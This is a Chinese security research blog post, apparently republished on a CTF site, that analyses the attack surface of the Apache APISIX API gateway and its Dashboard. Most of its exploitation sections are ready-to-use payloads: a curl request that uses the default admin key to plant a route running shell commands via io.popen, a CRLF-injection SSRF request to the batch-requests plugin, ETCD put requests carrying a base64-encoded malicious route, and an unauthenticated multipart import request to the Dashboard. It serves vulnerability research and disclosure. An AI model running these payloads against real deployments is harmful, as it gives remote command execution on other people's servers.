Apache APISIX Attack Surface Research

渗透技巧 2年前 (2022) admin
845 0 0

================ Metadata

Date: 2021/07/05 Title: Apache APISIX Attack Surface Research Publish Data: 2022/03/17

================ Contents

0x00. APISIX 运行环境安装编译

# openssl
$ ...
# openresty
$ ./configure --prefix=/usr/local/openresty \
            --with-pcre-jit \
            --with-ipv6 \
            --without-http_redis2_module \
            --with-http_iconv_module \
            --with-http_postgres_module \
            -j8 \
            --with-openssl=/usr/local/openssl \
            --with-http_stub_status_module \
            --with-http_realip_module \
            --with-http_v2_module
$ make && make install
# apisix
$ make deps

0x01. Apache APISIX 介绍与攻击面分析

Apache APISIX 是一个高性能的 API 网关。笔者针对 Apache APISIX 的架构和实现进行了攻击面研究, 发现几处 APISIX 可能会存在的安全问题。

Apache APISIX 架构基于 Nginx+Lua,使用 Lua 编写了作为 API 网关的逻辑处理代码,使用 ETCD 作 为数据储存。Apache APISIX 提供了 Admin REST API,并在 Nginx 层做了限制,只允许 127.0.0.0/24 的 IP 地址访问。同时 Apache APISIX 提供了几个默认插件,同样存在 HTTP Endpoint。

Apache APISIX 在安全架构设计层面比较失败的一点是,其 Admin REST API 并没有剥离业务实现。虽然 存在 IP 限制,但是仍然暴露在最前端。访问控制的配置如下:

location /apisix/admin {
    set $upstream_scheme             'http';
    set $upstream_host               $http_host;
    set $upstream_uri                '';

        allow 127.0.0.0/24;
        deny all;

    content_by_lua_block {
        apisix.http_admin()
    }
}

与此同时,插件的 HTTP Endpoint 并未做任何访问控制。此外,Apache APISIX 提供了一个默认的 Admin Key(而非第一次运行自动随机生成),处于默认不安全的状态。同时,在可选插件之中,提供了可以执行 Lua 代码的插件。最后,ETCD 也是易受 SSRF 攻击的点。

整理出来的攻击面如下:

  1. 默认的 Admin Key;
  2. 默认插件的 HTTP Endpoint;
  3. Admin REST API 易受到 SSRF 攻击;
  4. ETCD 易受到 SSRF 攻击;
  5. 提供了可以执行 Lua 代码的插件。

Apache APISIX 提供了一个 Dashboard 用于图形化管理 Apache APISIX。其中 Manager API 使用 Golang 开发,前端使用 NodeJS 开发。如果成功登录进入 Apache APISIX Dashboard,无需知道 Admin Key 即可 进行进一步的利用。Dashboard 同样地存在默认的帐号密码:admin / admin。

0x02. Apache APISIX 攻击面利用

1. 默认 Admin Key 利用

Apache APISIX 存在默认的 Admin Key:edd1c9f034335f136f87ad84b625c8f1。利用此 API Key 添加一个 恶意 route,执行任意命令:

curl -i http://127.0.0.1:9080/apisix/admin/routes/114514  \
-H 'X-API-KEY: edd1c9f034335f136f87ad84b625c8f1' -X PUT -d '
{
    "uri": "/404.html",
    "plugins": {
        "serverless-pre-function": {
            "phase": "rewrite",
            "functions" : ["return function() ngx.say(io.popen(ngx.unescape_uri(ngx.var.arg_cmd)):read(\\\"*a\\\")) ngx.exit(ngx.HTTP_OK); end"]
        }
    }
}'

2. 插件 batch-requests 的 Restricted SSRF 利用

Apache APISIX 的插件 batch-requests 提供了请求 Apache APISIX 在当前 Nginx 上下文环境下路径的功 能。实现的部分代码如下:

local data, err = core.json.decode(req_body)
-- ...
local httpc = http.new()
httpc:set_timeout(data.timeout)
local ok, err = httpc:connect("127.0.0.1", ngx.var.server_port)
if not ok then
    return 500, {error_msg = "connect to apisix failed: " .. err}
end
-- ...
local responses, err = httpc:request_pipeline(data.pipeline)

由于此请求发送于 Apache APISIX 的本身实例,所以可以绕过 Apache APISIX 对于 /apisix/admin 的访问 控制。其中 pipeline 参数的定义如下:

pipeline = {
    type = "array",
    minItems = 1,
    items = {
        type = "object",
        properties = {
            version = {
                description = "HTTP version",
                type = "number",
                enum = {1.01.1},
                default = 1.1,
            },
            method = method_schema,
            path = {
                type = "string",
                minLength = 1,
            },
            query = {
                description = "request header",
                type = "object",
            },
            headers = {
                description = "request query string",
                type = "object",
            },
            ssl_verify = {
                type = "boolean",
                default = false
            },
        }
    }
}

可见此插件并未提供发送 POST 数据包的功能,但是在实际测试中,我发现 httpc:request_pipeline 存 在 CRLF 注入,结合控制 Content-Length 请求头同样可以实现利用。利用如下:

POST /apisix/batch-requests HTTP/1.1
Host: 127.0.0.1:9080
Content-Length: 448

{"pipeline":[{"path":"/apisix/admin/routes/114514","method":"PUT","headers":{"Content-Length":"203\r\nX-Real-IP:127.0.0.1\r\nX-API-KEY:edd1c9f034335f136f87ad84b625c8f1\r\n\r\n{\"uri\":\"/pwn.html\",\"plugins\":{\"serverless-pre-function\":{\"phase\":\"rewrite\",\"functions\":[\"return function() ngx.say(io.popen(ngx.unescape_uri(ngx.var.arg_cmd)):read(\\\"*a\\\")) ngx.exit(ngx.HTTP_OK);end\"]}}}GET /aa HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n"}}]}

3. ETCD 利用

上述提到的 pipeline 插件的 SSRF 由于不能请求其他端口,所以不能在此处进行利用。ETCD 的利用主要应用于 如下两种情况:

  1. ETCD 未授权且外网可以访问;
  2. ETCD 未授权且存在其他 SSRF 漏洞。

通过控制 ETCD 的内容,我们可以直接在 ETCD 中添加存在恶意代码的路由,从而攻击 Apache APISIX。利用方式 如下:

# list routes
$ curl -i http://127.0.0.1:2379/v3/kv/range -d '{"key":"L2FwaXNpeC9yb3V0ZXM=","range_end":"L2FwaXNpeC9yb3V0ZXQ="}'
HTTP/1.1 200 OK
Access-Control-Allow-Headers: accept, content-type, authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *
Content-Type: application/json
Grpc-Metadata-Content-Type: application/grpc
Date: Thu, 01 Jul 2021 10:38:55 GMT
Content-Length: 247

{"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1882",
"raft_term":"3"},"kvs":[{"key":"L2FwaXNpeC9yb3V0ZXMv","create_revision":"7","mod_revision":"27",
"version":"3","value":"aW5pdF9kaXI="}],"count":"1"}
$ # add routes
$ curl -i http://127.0.0.1:2379/v3/kv/put -d '{"key":"L2FwaXNpeC9yb3V0ZXMvMTE0NTE0","value":"eyJ1cGRhdGVfdGltZSI6MTYyNTExOTA0MywicHJpb3JpdHkiOjAsImNyZWF0ZV90aW1lIjoxNjI1MDQxNTgzLCJwbHVnaW5zIjp7InNlcnZlcmxlc3MtcHJlLWZ1bmN0aW9uIjp7InBoYXNlIjoicmV3cml0ZSIsImZ1bmN0aW9ucyI6WyJyZXR1cm4gZnVuY3Rpb24oKSBuZ3guc2F5KGlvLnBvcGVuKG5neC51bmVzY2FwZV91cmkobmd4LnZhci5hcmdfY21kKSk6cmVhZChcIiphXCIpKSBuZ3guZXhpdChuZ3guSFRUUF9PSyk7ZW5kIl19fSwic3RhdHVzIjoxLCJpZCI6IjExNDUxNCIsInVyaSI6IlwvcHduLmh0bWwifQ=="}'
HTTP/1.1 200 OK
Access-Control-Allow-Headers: accept, content-type, authorization
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Origin: *
Content-Type: application/json
Grpc-Metadata-Content-Type: application/grpc
Date: Thu, 01 Jul 2021 10:41:42 GMT
Content-Length: 117

{"header":{"cluster_id":"14841639068965178418","member_id":"10276657743932975437","revision":"1886",
"raft_term":"3"}}

0x03. Apache APISIX Dashboard 利用

Apache APISIX Dashboard 的 /apisix/admin/migrate/import API 存在未授权访问漏洞,利用此 API 可以导入 恶意配置,实现任意代码执行。漏洞成因如下:

func (s *server) setupAPI() {
   // orchestrator
    droplet.Option.Orchestrator = func(mws []droplet.Middleware) []droplet.Middleware {
  var newMws []droplet.Middleware
  // default middleware order: resp_reshape, auto_input, traffic_log
  // We should put err_transform at second to catch all error
  newMws = append(newMws, mws[0], &handler.ErrorTransformMiddleware{}, &filter.AuthenticationMiddleware{})
  newMws = append(newMws, mws[1:]...)
  return newMws
 }

setupAPI 函数注册了 filter.AuthenticationMiddleware 中间件,API 如果使用了 wgin.Wraps 进行 wrap 操作后,会走 filter.AuthenticationMiddleware 中间件进行认证处理。

func (h *Handler) ApplyRoute(r *gin.Engine) {
 r.GET("/apisix/admin/consumers/:username", wgin.Wraps(h.Get,
  wrapper.InputType(reflect.TypeOf(GetInput{}))))

但是 /apisix/admin/migrate/import 的 router 在注册时并没有使用 wgin.Wraps ,从而导致未授权漏洞:

func (h *Handler) ApplyRoute(r *gin.Engine) {
 r.GET("/apisix/admin/migrate/export", h.ExportConfig)
 r.POST("/apisix/admin/migrate/import", h.ImportConfig)
}

利用此方式需要在最后四个字节附加上传内容的 CRC32(BigEndian) 值。利用方式如下:

POST /apisix/admin/migrate/import HTTP/1.1
Host: 127.0.0.1:9000
Content-Type: multipart/form-data; boundary=------------------------fd3ddb849f8963ef
Connection: close

--------------------------fd3ddb849f8963ef
Content-Disposition: form-data; name="file"; filename="data2"
Content-Type: application/octet-stream

{"Counsumers":[{"username":"test","plugins":{"jwt-auth":{"disable":false,"exp":86400,"key":"123"}},"create_time":1625039120,"update_time":1625039120}],"Routes":[{"id":"114514","create_time":1625041583,"update_time":1625119043,"uri":"/pwn.html","name":"pwn","plugins":{"serverless-pre-function":{"functions":["return function() ngx.say(io.popen(ngx.unescape_uri(ngx.var.arg_cmd)):read(\"*a\")) ngx.exit(ngx.HTTP_OK);end"],"phase":"rewrite"}},"status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"1","create_time":1625036724,"update_time":1625036724,"nodes":{"httpbin.org:80":1},"type":"roundrobin","hash_on":"vars","scheme":"http","pass_host":"pass"}],"Scripts":[],"GlobalPlugins":[],"PluginConfigs":[]}ʡ`
--------------------------fd3ddb849f8963ef
Content-Disposition: form-data; name="mode"

overwrite
--------------------------fd3ddb849f8963ef--

原文始发于ricterzApache APISIX Attack Surface Research

版权声明:admin 发表于 2022年3月17日 下午1:38。
转载请注明:Apache APISIX Attack Surface Research | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...